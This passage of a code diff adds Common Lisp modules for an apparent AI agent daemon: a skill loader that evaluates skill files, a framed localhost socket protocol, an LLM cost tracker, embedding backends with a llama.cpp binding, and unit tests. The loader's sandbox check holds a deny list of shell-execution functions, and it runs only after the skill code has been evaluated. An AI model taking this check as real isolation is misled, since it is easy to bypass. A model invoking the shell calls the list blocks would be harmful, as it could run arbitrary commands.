+                 (unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line))
+                              (uiop:string-prefix-p ":END:" (string-upcase clean-line))
+                              (uiop:string-prefix-p ":ID:" (string-upcase clean-line)))
+                   (setf lisp-code (concatenate 'string lisp-code line (string #\Newline))))))))
+          (if (= (length lisp-code) 0)
+              (setf (skill-entry-status entry) :ready)
+              (progn
+                (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
+                  (unless valid-p (error err)))
+                (unless (find-package pkg-name)
+                  (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
+                (let ((*read-eval* nil) (*package* (find-package pkg-name)))
+                  (log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
+                  (eval (read-from-string (format nil "(progn ~a)" lisp-code))))
+
+                (let ((target-pkg (find-package :passepartout))
+                      (exported 0)
+                      (seen (make-hash-table :test 'equal)))
+                  (do-symbols (sym (find-package pkg-name))
+                    (when (and (eq (symbol-package sym) (find-package pkg-name))
+                               (or (fboundp sym) (boundp sym))
+                               (not (gethash (symbol-name sym) seen)))
+                      (setf (gethash (symbol-name sym) seen) t)
+                      (incf exported)
+                      (let ((existing (find-symbol (symbol-name sym) target-pkg)))
+                        (when existing (unintern existing target-pkg)))
+                      (import sym target-pkg)
+                      (export sym target-pkg)))
+                  (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
+                               exported (package-name (find-package pkg-name))))
+
+                (setf (skill-entry-status entry) :ready)))
+          t)
+      (error (c)
+        (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
+        (setf (skill-entry-status entry) :failed) nil))))
+
+(defun load-skill-from-lisp (filepath)
+  "Loads a .lisp skill file directly, filtering out in-package forms."
+  (let* ((skill-base-name (pathname-name filepath))
+         (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
+    (setf (skill-entry-status entry) :loading)
+    (handler-case
+        (let* ((content (skill-package-forms-strip (uiop:read-file-string filepath)))
+               (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
+          (multiple-value-bind (valid-p err) (lisp-syntax-validate content)
+            (unless valid-p (error err)))
+          (unless (find-package pkg-name)
+            (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
+          (let ((*read-eval* nil) (*package* (find-package pkg-name)))
+            (log-message "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*))
+            (with-input-from-string (s content)
+              (loop for form = (read s nil :eof) until (eq form :eof)
+                     do (handler-case (eval form)
+                          (error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c))))))
+           (let* ((jailed-pkg (find-package pkg-name))
+                  (restricted '("RUN-PROGRAM" "SHELL" "RUN-SHELL-COMMAND"))
+                  (violation (loop for r in restricted
+                                   for sym = (find-symbol r :uiop)
+                                   when (and sym (fboundp sym)
+                                             (loop for skill-sym being the symbols of jailed-pkg
+                                                   when (and (fboundp skill-sym)
+                                                             (eq (symbol-function skill-sym)
+                                                                 (symbol-function sym)))
+                                                   return skill-sym))
+                                   collect (format nil "~a" sym))))
+             (when violation
+               (log-message "LOADER SANDBOX: Skill '~a' blocked — references restricted symbol(s): ~{~a~^, ~}"
+                            skill-base-name violation)
+               (setf (skill-entry-status entry) :sandbox-blocked)
+               (return-from load-skill-from-lisp nil))
+             (log-message "LOADER SANDBOX: Skill '~a' passed sandbox check" skill-base-name))
+           (let ((target-pkg (find-package :passepartout))
+                 (exported 0)
+                 (seen (make-hash-table :test 'equal)))
+             (do-symbols (sym (find-package pkg-name))
+               (when (and (eq (symbol-package sym) (find-package pkg-name))
+                          (or (fboundp sym) (boundp sym))
+                          (not (gethash (symbol-name sym) seen)))
+                 (setf (gethash (symbol-name sym) seen) t)
+                 (incf exported)
+                 (let ((existing (find-symbol (symbol-name sym) target-pkg)))
+                   (when existing (unintern existing target-pkg)))
+                 (import sym target-pkg)
+                 (ignore-errors (export sym target-pkg))))
+            (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
+                         exported (package-name (find-package pkg-name))))
+          (setf (skill-entry-status entry) :ready))
+      (error (c)
+        (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
+        (setf (skill-entry-status entry) :failed) nil))))
+
+(defun skill-initialize-all ()
+  "Initializes all skills from the XDG data directory."
+  (let* ((data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
+         (skills-dir (merge-pathnames "lisp/" (uiop:ensure-directory-pathname data-dir))))
+    (unless (uiop:directory-exists-p skills-dir) (return-from skill-initialize-all nil))
+    (let ((sorted-files (skill-topological-sort skills-dir)))
+      (log-message "LOADER: Initializing ~a skills..." (length sorted-files))
+      (dolist (file sorted-files)
+        (if (uiop:string-suffix-p (namestring file) ".lisp")
+            (load-skill-from-lisp file)
+            (load-skill-from-org file)))
+      (log-message "LOADER: Boot Complete."))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-boot-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:boot-suite))
+
+(in-package :passepartout-boot-tests)
+
+(def-suite boot-suite :description "Verification of the Skill Engine loader")
+(in-suite boot-suite)
+
+(test test-topological-sort-basic
+  "Contract 2: dependency ordering puts dependencies before dependents."
+  (let ((tmp-dir "/tmp/passepartout-boot-test/"))
+    (uiop:ensure-all-directories-exist (list tmp-dir))
+    (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
+      (format out "#+DEPENDS_ON: skill-b-id~%"))
+    (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
+      (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
+    (unwind-protect
+         (let ((sorted (passepartout::skill-topological-sort tmp-dir)))
+           (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
+                 (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
+             (is (< pos-b pos-a))))
+       (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
+
+(test test-lisp-syntax-validate-valid
+  "Contract 1: valid Lisp code passes syntax validation."
+  (is (eq t (lisp-syntax-validate "(+ 1 2)"))))
+
+(test test-lisp-syntax-validate-invalid
+  "Contract 1: unbalanced Lisp code fails syntax validation."
+  (is (null (lisp-syntax-validate "(+ 1 2"))))

lisp/core-transport.lisp

@@ -0,0 +1,161 @@
+(in-package :passepartout)
+
+(defun proto-get (plist key)
+  "Look up KEY in PLIST with case-insensitive keyword normalization."
+  (let ((key-upcase (string-upcase (string key))))
+    (loop for (k v) on plist by #'cddr
+          when (and (keywordp k)
+                    (string-equal (string k) key-upcase))
+            do (return v))))
+
+(defvar *actuator-registry* (make-hash-table :test 'equalp)
+  "Global registry mapping target keywords to their physical actuator functions.")
+
+(defun register-actuator (name fn) 
+  "Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
+  (let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
+    (setf (gethash key *actuator-registry*) fn)))
+
+(defun protocol-message-sanitize (msg)
+  "Recursively strips non-serializable objects from a protocol plist."
+  (if (and msg (listp msg))
+      (let ((clean nil))
+        (loop for (k v) on msg by #'cddr
+              do (unless (member k '(:reply-stream :socket :stream))
+                   (push k clean)
+                   (push (if (listp v) (protocol-message-sanitize v) v) clean)))
+        (nreverse clean))
+      msg))
+
+(defun frame-message (msg)
+  "Serializes a message plist and prefixes it with a 6-character hex length."
+  (let* ((sanitized (protocol-message-sanitize msg))
+         (payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
+         (len (length payload)))
+    (format nil "~6,'0x~a" len payload)))
+
+(defun read-framed-message (stream)
+  "Reads a hex-length prefixed S-expression from the stream securely."
+  (let ((length-buffer (make-string 6)))
+    (handler-case
+        (progn
+          (loop for char = (peek-char nil stream nil :eof)
+                while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
+                do (read-char stream))
+          (let ((count (read-sequence length-buffer stream)))
+            (if (< count 6)
+                :eof
+                (let ((len (ignore-errors (parse-integer length-buffer :radix 16))))
+                  (if (not len)
+                      :error
+                      (let ((msg-buffer (make-string len)))
+                        (read-sequence msg-buffer stream)
+                        (let ((*read-eval* nil))
+                          (handler-case (read-from-string msg-buffer)
+                            (error () :error)))))))))
+      (error () :error))))
+
+(defvar *daemon-socket* nil)
+
+(defun client-handle-connection (socket)
+  "Handles a single TUI/CLI client connection in a dedicated thread."
+  (let ((stream (usocket:socket-stream socket)))
+    (handler-case
+        (progn
+          (format stream "~a" (frame-message (make-hello-message "0.7.1")))
+          (finish-output stream)
+          (loop
+            (let ((msg (read-framed-message stream)))
+              (cond
+                ((eq msg :eof) (return))
+                ((eq msg :error) (return))
+                ((eq (getf msg :type) :health-check)
+                 (let ((health-msg (list :type :health-response 
+                                         :status (or (and (boundp 'passepartout::*system-health*) 
+                                                         (symbol-value 'passepartout::*system-health*))
+                                                     :unknown)
+                                         :checked-p (or (and (boundp 'passepartout::*health-check-ran*)
+                                                             (symbol-value 'passepartout::*health-check-ran*))
+                                                     nil))))
+                   (format stream "~a" (frame-message health-msg))
+                   (finish-output stream)))
+                (t (stimulus-inject msg :stream stream))))))
+      (error (c) (log-message "CLIENT ERROR: ~a" c)))
+    (ignore-errors (usocket:socket-close socket))))
+
+(defun start-daemon (&key (port 9105))
+  "Starts the network listener for TUI/CLI clients."
+  (setf *daemon-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
+  (log-message "DAEMON: Listening on localhost:~a" port)
+  (bt:make-thread
+   (lambda ()
+     (loop
+       (let ((client-socket (usocket:socket-accept *daemon-socket*)))
+         (when client-socket
+           (bt:make-thread (lambda () (client-handle-connection client-socket))
+                          :name "passepartout-client-handler")))))
+   :name "passepartout-server-listener"))
+
+(defun make-hello-message (version)
+  "Constructs the standard HELLO handshake message."
+  (list :TYPE :EVENT 
+        :PAYLOAD (list :ACTION :handshake 
+                       :VERSION version 
+                       :CAPABILITIES '(:AUTH :ORG-AST))))
+
+(in-package :passepartout)
+
+(defun protocol-schema-validate (msg)
+  "Strict structural validation for incoming protocol messages."
+  (unless (listp msg) (error "Message must be a plist"))
+  (let ((type (proto-get msg :type)))
+    (unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS))
+      (error "Invalid message type '~a'" type))
+    t))
+
+(defun validate-communication-protocol-schema (msg)
+  "Backward-compatibility alias for protocol-schema-validate."
+  (protocol-schema-validate msg))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-communication-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:communication-protocol-suite))
+(in-package :passepartout-communication-tests)
+
+(def-suite communication-protocol-suite :description "Communication Protocol Suite")
+(in-suite communication-protocol-suite)
+
+(test test-framing
+  "Contract 1: frame-message produces correct hex length prefix."
+  (let* ((msg '(:type :EVENT :payload (:action :handshake)))
+         (framed (frame-message msg)))
+    (is (string= "00002C" (string-upcase (subseq framed 0 6))))))
+
+(test test-framing-round-trip
+  "Contract 3: frame → read-frame preserves message identity."
+  (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
+         (framed (frame-message msg))
+         (unframed (read-framed-message (make-string-input-stream framed))))
+    (is (equal msg unframed))))
+
+(test test-framing-empty-message
+  "Contract 1: simple messages frame with valid hex length."
+  (let* ((msg '(:type :ping))
+         (framed (frame-message msg)))
+    (is (> (length framed) 5))
+    (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
+
+(test test-read-framed-message
+  "Contract 2: read-framed-message decodes a framed message correctly."
+  (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
+         (framed (frame-message original))
+         (decoded (read-framed-message (make-string-input-stream framed))))
+    (is (equal original decoded))))
+
+(test test-read-framed-message-eof
+  "Contract 2: read-framed-message returns :eof on incomplete stream."
+  (let ((decoded (read-framed-message (make-string-input-stream "000"))))
+    (is (eq :eof decoded))))

lisp/cost-tracker.lisp

@@ -0,0 +1,134 @@
+(in-package :passepartout)
+
+(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil)
+  "Session cost accumulator: (:total <float> :calls <int> :by-provider <alist>)")
+
+(defvar *session-cost-lock* (bordeaux-threads:make-lock "session-cost-lock")
+  "Lock protecting *session-cost* from concurrent updates.")
+
+(defun cost-track-call (provider prompt-text &optional response-text)
+  "Compute and accumulate the cost of a single LLM call.
+Returns the cost of this call in USD."
+  (let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
+         (output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
+         (total-tokens (+ input-tokens output-tokens))
+         (cost (provider-token-cost provider total-tokens)))
+    (bordeaux-threads:with-lock-held (*session-cost-lock*)
+      (incf (getf *session-cost* :total) cost)
+      (incf (getf *session-cost* :calls))
+      (let ((by-prov (getf *session-cost* :by-provider)))
+        (let ((entry (assoc provider by-prov)))
+          (if entry
+              (incf (cdr entry) cost)
+              (setf (getf *session-cost* :by-provider)
+                    (acons provider cost by-prov))))))
+    (log-message "COST TRACKER: ~a call: ~,4f USD (session total: ~,4f USD)"
+                 provider cost (getf *session-cost* :total))
+    cost))
+
+(defun cost-session-total ()
+  "Returns the current session's total cost in USD."
+  (bordeaux-threads:with-lock-held (*session-cost-lock*)
+    (getf *session-cost* :total)))
+
+(defun cost-session-calls ()
+  "Returns the total number of LLM calls in this session."
+  (bordeaux-threads:with-lock-held (*session-cost-lock*)
+    (getf *session-cost* :calls)))
+
+(defun cost-by-provider ()
+  "Returns an alist of (provider . total-cost) for this session."
+  (bordeaux-threads:with-lock-held (*session-cost-lock*)
+    (getf *session-cost* :by-provider)))
+
+(defun cost-session-reset ()
+  "Zeroes the session cost accumulator."
+  (bordeaux-threads:with-lock-held (*session-cost-lock*)
+    (setf (getf *session-cost* :total) 0.0)
+    (setf (getf *session-cost* :calls) 0)
+    (setf (getf *session-cost* :by-provider) nil)
+    (log-message "COST TRACKER: Session cost reset.")))
+
+(defun cost-format-budget-status (&optional (daily-budget nil))
+  "Returns a string for the TUI status bar showing session cost.
+If DAILY-BUDGET is provided, includes percentage of budget used."
+  (let* ((total (cost-session-total))
+         (calls (cost-session-calls))
+         (budget (or daily-budget
+                     (ignore-errors
+                       (parse-integer (uiop:getenv "COST_BUDGET_DAILY")))
+                     0))
+         (pct (if (> budget 0) (* 100.0 (/ total budget)) 0.0))
+         (status (cond
+                   ((= calls 0) "—")
+                   ((< pct 50) "OK")
+                   ((< pct 90) "WARN")
+                   (t "HIGH"))))
+    (if (> budget 0)
+        (format nil "[Cost: $~,2f (~,0f%) ~a]" total pct status)
+        (format nil "[Cost: $~,2f | ~d calls]" total calls))))
+
+(defun cost-track-backend-call (backend prompt-text &optional response-text)
+  "Track cost of a backend cascade call."
+  (cost-track-call backend prompt-text response-text))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-cost-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:cost-suite))
+
+(in-package :passepartout-cost-tests)
+
+(def-suite cost-suite :description "Cost tracking and budget management")
+(in-suite cost-suite)
+
+(test test-cost-track-call
+  "Contract 1: cost-track-call returns a positive number."
+  (cost-session-reset)
+  (let ((cost (cost-track-call :deepseek "hello world")))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-cost-session-total-accumulates
+  "Contract 2: session total grows with multiple calls."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :deepseek "world")
+  (let ((total (cost-session-total)))
+    (is (> total 0.0))
+    (is (= 2 (cost-session-calls)))))
+
+(test test-cost-session-reset
+  "Contract 3: cost-session-reset zeroes the accumulator."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (is (> (cost-session-total) 0.0))
+  (cost-session-reset)
+  (is (= 0.0 (cost-session-total)))
+  (is (= 0 (cost-session-calls))))
+
+(test test-cost-format-budget-status
+  "Contract 4: format-budget-status returns a string."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello world")
+  (let ((status (cost-format-budget-status 100)))
+    (is (stringp status))
+    (is (search "$" status))))
+
+(test test-cost-by-provider
+  "Contract: cost-by-provider returns per-provider breakdown."
+  (cost-session-reset)
+  (cost-track-call :deepseek "a")
+  (cost-track-call :groq "b")
+  (let ((by (cost-by-provider)))
+    (is (listp by))
+    (is (assoc :deepseek by))
+    (is (assoc :groq by))))
+
+(test test-cost-track-no-response
+  "Contract 1: cost-track-call works without response-text."
+  (cost-session-reset)
+  (let ((cost (cost-track-call :deepseek "test")))
+    (is (> cost 0.0))))

lisp/embedding-backends.lisp

@@ -0,0 +1,242 @@
+(in-package :passepartout)
+
+(defvar *embedding-provider* :trigram
+  "Active embedding provider: :trigram, :sha256, :local, :openai, :native.")
+
+(defvar *embedding-queue* nil
+  "Queue of text objects awaiting embedding.")
+
+(defvar *embedding-batch-size* 10
+  "Maximum texts per embedding API call.")
+
+(defun embedding-backend-local (text)
+  "Generate embeddings via a local OpenAI-compatible endpoint."
+  (let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))))
+         (model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text"))
+         (body (cl-json:encode-json-to-string
+                `((model . ,model) (input . ,text)))))
+    (handler-case
+        (let* ((response (dex:post (format nil "~a/api/embeddings" url)
+                                   :headers '(("Content-Type" . "application/json"))
+                                   :content body :connect-timeout 5 :read-timeout 30))
+               (json (cl-json:decode-json-from-string response))
+               (data (car (cdr (assoc :data json)))))
+          (or (cdr (assoc :embedding data))
+              (list :error "No embedding in response")))
+      (error (c)
+        (list :error (format nil "Embedding failed: ~a" c))))))
+
+(defun embedding-backend-openai (text)
+  "Generate embeddings via OpenAI compatible /v1/embeddings endpoint."
+  (let* ((api-key (uiop:getenv "OPENAI_API_KEY"))
+         (base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1"))
+         (model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small"))
+         (body (cl-json:encode-json-to-string
+                `((model . ,model) (input . ,text)))))
+    (handler-case
+        (let* ((response (dex:post (format nil "~a/embeddings" base-url)
+                                    :headers `(("Content-Type" . "application/json")
+                                               ("Authorization" . ,(format nil "Bearer ~a" api-key)))
+                                    :content body :connect-timeout 5 :read-timeout 30))
+               (json (cl-json:decode-json-from-string response))
+               (data (car (cdr (assoc :data json)))))
+          (or (cdr (assoc :embedding data))
+              (list :error "No embedding in response")))
+      (error (c)
+        (list :error (format nil "OpenAI Embedding failed: ~a" c))))))
+
+(defun embedding-backend-sha256 (text)
+  "SHA-256 based vector — integrity only, no semantic retrieval capability.
+For environments where even trivial computation is undesirable."
+  (let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text)))
+         (vec (make-array 8 :element-type 'single-float :initial-element 0.0)))
+    (dotimes (i (min (length digest) 8))
+      (setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0)))
+    vec))
+
+(defun embedding-backend-hashing (text)
+  "Backward-compatibility alias for SHA-256 hashing."
+  (embedding-backend-sha256 text))
+
+(defun embedding-backend-trigram (text)
+  "Trigram bloom filter — captures lexical overlap for semantic retrieval.
+Returns a 128-dim float vector where each position corresponds to a trigram hash.
+Pure Lisp, zero external dependencies, works fully offline."
+  (let* ((s (string-trim '(#\Space #\Newline #\Tab) (string-downcase text)))
+         (trigrams (make-hash-table :test 'equal))
+         (result (make-array 128 :element-type 'single-float :initial-element 0.0)))
+    (when (>= (length s) 3)
+      (loop for i from 0 to (- (length s) 3)
+            for tri = (subseq s i (+ i 3))
+            do (setf (gethash tri trigrams) t)))
+    (maphash (lambda (tri _) (declare (ignore _))
+               (setf (aref result (mod (sxhash tri) 128)) 1.0))
+             trigrams)
+    result))
+
+(defvar *embedding-backend* nil
+  "Explicit backend override (nil = use *embedding-provider*).")
+
+(defun embeddings-compute (text)
+  "Compute an embedding vector for text using the active backend."
+  (embed-object text))
+
+(defun embed-object (text)
+  "Embed a single text string using the active backend."
+  (let* ((selected (or *embedding-backend* *embedding-provider* :trigram))
+         (backend (case selected
+                    (:local #'embedding-backend-local)
+                    (:openai #'embedding-backend-openai)
+                    (:native
+                     (unless (fboundp 'embedding-backend-native)
+                       (embedding-native-ensure-loaded))
+                     #'embedding-backend-native)
+                    (:sha256 #'embedding-backend-sha256)
+                    (t #'embedding-backend-trigram))))
+    (if backend
+        (progn
+          (log-message "EMBEDDING: Provider ~a, backend=~a" selected backend)
+          (funcall backend text))
+        (progn
+          (log-message "EMBEDDING: No backend for provider ~a, using hashing" selected)
+          (embedding-backend-hashing text)))))
+
+(defun embed-queue-object (object)
+  "Queue a text object for async embedding."
+  (push object *embedding-queue*)
+  (log-message "EMBEDDING: Queued object"))
+
+(defun embed-all-pending ()
+  "Drain the embedding queue, store vectors in the store-keyed objects."
+  (let ((batch (nreverse *embedding-queue*)))
+    (setf *embedding-queue* nil)
+    (dolist (item batch)
+      (handler-case
+          (let ((id (getf item :id))
+                (text (getf item :text)))
+            (when (and id text)
+              (let ((vec (embeddings-compute text))
+                    (obj (gethash id *memory-store*)))
+                (when (and obj vec (not (listp vec)))
+                  (setf (memory-object-vector obj) vec))
+                (log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec)))))
+        (error (c)
+          (log-message "EMBEDDING: Failed to embed object: ~a" c))))))
+
+;; Apply env var override at load time
+(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER")))
+  (when provider-env
+    (let ((kw (intern (string-upcase provider-env) :keyword)))
+      (setf *embedding-provider* kw)
+      (log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw))))
+
+(defun embedding-native-ensure-loaded ()
+  "Lazy-load the native CFFI backend. First call blocks ~30s for model init."
+  (when (fboundp 'embedding-backend-native)
+    (return-from embedding-native-ensure-loaded t))
+  (let* ((data-dir (uiop:ensure-directory-pathname
+                    (or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
+                        (namestring (merge-pathnames ".local/share/passepartout/"
+                                                    (user-homedir-pathname))))))
+         (native-file (merge-pathnames "lisp/embedding-native.lisp" data-dir)))
+    (handler-case
+        (progn
+          (load native-file :verbose nil :print nil)
+          (log-message "EMBEDDING: Native backend loaded from ~a" native-file))
+      (error (c)
+        (error "Failed to load native embedding backend (~a): ~a" native-file c)))))
+
+;; Preload native model if configured at startup
+(when (eq *embedding-provider* :native)
+  (log-message "EMBEDDING: Native provider configured, preloading model...")
+  (embedding-native-ensure-loaded)
+  (handler-case
+      (progn
+        (embedding-native-load-model)
+        (log-message "EMBEDDING: Native model preloaded (~d dims)"
+                     (embedding-native-get-dim)))
+    (error (c)
+      (log-message "EMBEDDING: Preload deferred: ~a (will retry on first call)" c))))
+
+(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*)
+
+(defun mark-vector-stale (id &optional content)
+  "Mark a memory object's vector as :pending and queue it for re-embedding.
+When content is not supplied, reads from the object in *memory-store*."
+  (let* ((obj (gethash id *memory-store*))
+         (text (or content (and obj (memory-object-content obj)))))
+    (when obj
+      (setf (memory-object-vector obj) :pending))
+    (when text
+      (push (list :id id :text text) *embedding-queue*)
+      (log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id))
+    (or obj text)))
+
+(defskill :passepartout-embedding-backends
+  :priority 70
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+;; Register periodic batch embedding via cron (when orchestrator available)
+(when (fboundp 'orchestrator-register-cron)
+  (handler-case
+      (orchestrator-register-cron :embed-batch
+                                  "<2026-05-05 Tue +10m>"
+                                  'embed-all-pending
+                                  :reflex)
+    (error (c)
+      (log-message "EMBEDDING: Cron registration failed: ~a" c))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-embedding-tests
+  (:use :cl :passepartout)
+  (:export #:embedding-suite))
+
+(in-package :passepartout-embedding-tests)
+
+(fiveam:def-suite embedding-suite :description "Embedding gateway verification")
+(fiveam:in-suite embedding-suite)
+
+(fiveam:test test-embedding-backend-hashing
+  "Contract 2: hashing backend produces 8-element float vector."
+  (let ((vec (embedding-backend-hashing "hello world")))
+    (fiveam:is (arrayp vec))
+    (fiveam:is (= 8 (length vec)))
+    (fiveam:is (every #'numberp (coerce vec 'list)))))
+
+(fiveam:test test-embedding-backend-hashing-deterministic
+  "Contract 2: same input produces same vector."
+  (let ((v1 (embedding-backend-hashing "test"))
+        (v2 (embedding-backend-hashing "test")))
+    (fiveam:is (equalp v1 v2))))
+
+(fiveam:test test-embeddings-compute
+  "Contract 1: embeddings-compute returns a float vector."
+  (let ((vec (embeddings-compute "some text")))
+    (fiveam:is (arrayp vec))
+    (fiveam:is (> (length vec) 0))))
+
+(fiveam:test test-embed-queue-and-drain
+  "Contract 3: embed-all-pending drains queue and stores vectors."
+  (let ((*embedding-queue* nil))
+    (embed-queue-object '(:id "test-obj" :text "sample text"))
+    (fiveam:is (= 1 (length *embedding-queue*)))
+    (embed-all-pending)
+    (fiveam:is (null *embedding-queue*))))
+
+(fiveam:test test-mark-vector-stale
+  "Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed."
+  (let ((*embedding-queue* nil))
+    ;; Create an object in memory with a vector
+    (let ((obj (make-memory-object :id "stale-test" :content "stale content"
+                                   :vector #(1.0 2.0 3.0))))
+      (setf (gethash "stale-test" *memory-store*) obj)
+      (mark-vector-stale "stale-test")
+      (fiveam:is (eq :pending (memory-object-vector obj)))
+      (fiveam:is (= 1 (length *embedding-queue*)))
+      (let ((item (first *embedding-queue*)))
+        (fiveam:is (string= "stale-test" (getf item :id)))
+        (fiveam:is (string= "stale content" (getf item :text))))
+      ;; Clean up
+      (remhash "stale-test" *memory-store*))))

lisp/embedding-native.lisp

@@ -0,0 +1,228 @@
+(unless (find-package :passepartout)
+  (make-package :passepartout :use '(:cl)))
+
+(in-package :passepartout)
+
+(cffi:define-foreign-library libllama_wrap (:unix "/usr/local/lib/libllama_wrap.so"))
+(cffi:use-foreign-library libllama_wrap)
+(cffi:define-foreign-library libllama (:unix "/usr/local/lib/libllama.so"))
+(cffi:use-foreign-library libllama)
+
+(cffi:defcstruct (llama-mparams :size 72)
+  (devices :pointer) (tensor-buft :pointer) (n-gpu-layers :int32)
+  (split-mode :int32) (main-gpu :int32) (_pad1 :int32)
+  (tensor-split :pointer) (progress-cb :pointer) (progress-data :pointer)
+  (kv-overrides :pointer) (vocab-only :bool) (use-mmap :bool)
+  (_pad2 :uint8 :count 6))
+
+(cffi:defcstruct (llama-cparams :size 136)
+  (n-ctx :uint32)
+  (n-batch :uint32)
+  (n-ubatch :uint32)
+  (n-seq-max :uint32)
+  (n-threads :int32)
+  (n-threads-batch :int32)
+  (rope-scaling-type :int32)
+  (pooling-type :int32)
+  (attention-type :int32)
+  (flash-attn-type :int32)
+  (rope-freq-base :float)
+  (rope-freq-scale :float)
+  (yarn-ext-factor :float)
+  (yarn-attn-factor :float)
+  (yarn-beta-fast :float)
+  (yarn-beta-slow :float)
+  (yarn-orig-ctx :uint32)
+  (defrag-thold :float)
+  (cb-eval :pointer)
+  (cb-eval-user-data :pointer)
+  (type-k :int32)
+  (type-v :int32)
+  (abort-callback :pointer)
+  (abort-callback-data :pointer)
+  (embeddings :bool)
+  (offload-kqv :bool)
+  (no-perf :bool)
+  (op-offload :bool)
+  (swa-full :bool)
+  (kv-unified :bool)
+  (_c-pad3 :uint8 :count 15))
+
+(cffi:defcstruct (llama-batch :size 56)
+  (n-tokens :int32) (_bpad1 :int32) (token :pointer) (embd :pointer)
+  (pos :pointer) (n-seq-id :pointer) (seq-id :pointer) (logits :pointer))
+
+;; llama.cpp public API
+(cffi:defcfun ("llama_backend_init" bl) :void)
+(cffi:defcfun ("llama_model_default_params" mdp) :void (p :pointer))
+(cffi:defcfun ("llama_context_default_params" cdp) :void (p :pointer))
+(cffi:defcfun ("llama_model_n_embd" ne) :int32 (m :pointer))
+(cffi:defcfun ("llama_model_get_vocab" gv) :pointer (m :pointer))
+(cffi:defcfun ("llama_vocab_n_tokens" vnt) :int32 (vocab :pointer))
+(cffi:defcfun ("llama_tokenize" tok) :int32 (vocab :pointer) (text :string) (len :int32) (tokens :pointer) (n-max :int32) (add-special :bool) (parse-special :bool))
+(cffi:defcfun ("llama_get_embeddings_ith" embd-ith) :pointer (ctx :pointer) (i :int32))
+(cffi:defcfun ("llama_get_embeddings_seq" embd-seq) :pointer (ctx :pointer) (seq-id :int32))
+(cffi:defcfun ("llama_pooling_type" get-pooling) :int32 (ctx :pointer))
+(cffi:defcfun ("llama_model_free" fm) :void (m :pointer))
+(cffi:defcfun ("llama_free" fc) :void (ctx :pointer))
+
+;; C wrapper (bridges struct-by-value ABI)
+(cffi:defcfun ("llama_wrap_model_load" wrap-load) :pointer (path :string) (params :pointer))
+(cffi:defcfun ("llama_wrap_new_context" wrap-ctx) :pointer (model :pointer) (params :pointer))
+(cffi:defcfun ("llama_wrap_encode" wrap-encode) :int32 (ctx :pointer) (batch :pointer))
+(cffi:defcfun ("llama_wrap_batch_init" wrap-batch-init) :void (batch :pointer) (n-tokens :int32) (embd :int32) (n-seq-max :int32))
